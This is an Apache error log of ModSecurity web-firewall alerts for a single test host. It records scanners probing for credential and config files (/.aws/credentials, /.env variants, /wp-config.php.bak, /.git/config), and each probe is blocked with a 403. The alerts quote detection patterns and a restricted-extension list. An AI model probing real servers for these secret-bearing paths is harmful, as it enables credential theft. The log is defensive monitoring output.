[Fri Dec 05 14:59:38.316807 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8QAAAAo&quot;]
[Fri Dec 05 14:59:38.317019 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8QAAAAo&quot;]
[Fri Dec 05 14:59:38.389893 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8gAAAAo&quot;]
[Fri Dec 05 14:59:38.390050 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8gAAAAo&quot;]
[Fri Dec 05 14:59:38.390323 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8gAAAAo&quot;]
[Fri Dec 05 14:59:38.390606 2025] [:error] [pid 540829] [client 45.148.10.247:41842] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aTLlSsIri--FKxkDQUtB8gAAAAo&quot;]
[Fri Dec 05 18:23:11.203574 2025] [:error] [pid 531697] [client 45.139.104.171:49440] [client 45.139.104.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTMU_-qgQSN2J6Cu49vRhAAAAIA&quot;]
[Fri Dec 05 18:23:11.203937 2025] [:error] [pid 531697] [client 45.139.104.171:49440] [client 45.139.104.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTMU_-qgQSN2J6Cu49vRhAAAAIA&quot;]
[Fri Dec 05 18:23:11.204119 2025] [:error] [pid 531697] [client 45.139.104.171:49440] [client 45.139.104.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTMU_-qgQSN2J6Cu49vRhAAAAIA&quot;]
[Sat Dec 06 23:24:45.174467 2025] [:error] [pid 561887] [client 194.180.49.171:52720] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aTStLYz9piR-pyiGZOD9IwAAAAA&quot;]
[Sat Dec 06 23:24:45.174848 2025] [:error] [pid 561887] [client 194.180.49.171:52720] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aTStLYz9piR-pyiGZOD9IwAAAAA&quot;]
[Sat Dec 06 23:24:45.175050 2025] [:error] [pid 561887] [client 194.180.49.171:52720] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aTStLYz9piR-pyiGZOD9IwAAAAA&quot;]
[Sat Dec 06 23:24:45.389349 2025] [:error] [pid 551892] [client 194.180.49.171:52736] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTStLbs-Bpg8RBNF3C6c_gAAAAw&quot;]
[Sat Dec 06 23:24:45.389575 2025] [:error] [pid 551892] [client 194.180.49.171:52736] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTStLbs-Bpg8RBNF3C6c_gAAAAw&quot;]
[Sat Dec 06 23:24:45.389751 2025] [:error] [pid 551892] [client 194.180.49.171:52736] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aTStLbs-Bpg8RBNF3C6c_gAAAAw&quot;]
[Sat Dec 06 23:24:45.525933 2025] [:error] [pid 551907] [client 194.180.49.171:52752] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTStLQyVmHurXfTWV8msngAAAAk&quot;]
[Sat Dec 06 23:24:45.526166 2025] [:error] [pid 551907] [client 194.180.49.171:52752] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTStLQyVmHurXfTWV8msngAAAAk&quot;]
[Sat Dec 06 23:24:45.526381 2025] [:error] [pid 551907] [client 194.180.49.171:52752] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aTStLQyVmHurXfTWV8msngAAAAk&quot;]
[Sat Dec 06 23:24:45.636805 2025] [:error] [pid 551924] [client 194.180.49.171:52760] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aTStLcwt6opipu-GLyo2vwAAAA8&quot;]
[Sat Dec 06 23:24:45.637117 2025] [:error] [pid 551924] [client 194.180.49.171:52760] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aTStLcwt6opipu-GLyo2vwAAAA8&quot;]
[Sat Dec 06 23:24:45.637795 2025] [:error] [pid 551924] [client 194.180.49.171:52760] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aTStLcwt6opipu-GLyo2vwAAAA8&quot;]
[Sat Dec 06 23:24:45.778769 2025] [:error] [pid 551560] [client 194.180.49.171:52764] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aTStLW8-8TzD5o0ukZJHoQAAAAQ&quot;]
[Sat Dec 06 23:24:45.778986 2025] [:error] [pid 551560] [client 194.180.49.171:52764] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aTStLW8-8TzD5o0ukZJHoQAAAAQ&quot;]
[Sat Dec 06 23:24:45.779183 2025] [:error] [pid 551560] [client 194.180.49.171:52764] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aTStLW8-8TzD5o0ukZJHoQAAAAQ&quot;]
[Sat Dec 06 23:24:45.962659 2025] [:error] [pid 562066] [client 194.180.49.171:52770] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aTStLYSu7bPXQ1roYoMoBAAAAAI&quot;]
[Sat Dec 06 23:24:45.962890 2025] [:error] [pid 562066] [client 194.180.49.171:52770] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aTStLYSu7bPXQ1roYoMoBAAAAAI&quot;]
[Sat Dec 06 23:24:45.963105 2025] [:error] [pid 562066] [client 194.180.49.171:52770] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aTStLYSu7bPXQ1roYoMoBAAAAAI&quot;]
[Sat Dec 06 23:24:46.205032 2025] [:error] [pid 562054] [client 194.180.49.171:52786] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aTStLs4mDgHZtuIKTuMqngAAAAU&quot;]
[Sat Dec 06 23:24:46.205249 2025] [:error] [pid 562054] [client 194.180.49.171:52786] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aTStLs4mDgHZtuIKTuMqngAAAAU&quot;]
[Sat Dec 06 23:24:46.205434 2025] [:error] [pid 562054] [client 194.180.49.171:52786] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aTStLs4mDgHZtuIKTuMqngAAAAU&quot;]
[Sat Dec 06 23:24:48.816053 2025] [:error] [pid 551921] [client 194.180.49.171:49970] [client 194.180.49.171] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTStMBa90AxZKzHefnF8pQAAAAg&quot;]
[Sat Dec 06 23:24:48.816377 2025] [:error] [pid 551921] [client 194.180.49.171:49970] [client 194.180.49.171] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTStMBa90AxZKzHefnF8pQAAAAg&quot;]
[Sat Dec 06 23:24:48.816645 2025] [:error] [pid 551921] [client 194.180.49.171:49970] [client 194.180.49.171] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aTStMBa90AxZKzHefnF8pQAAAAg&quot;]
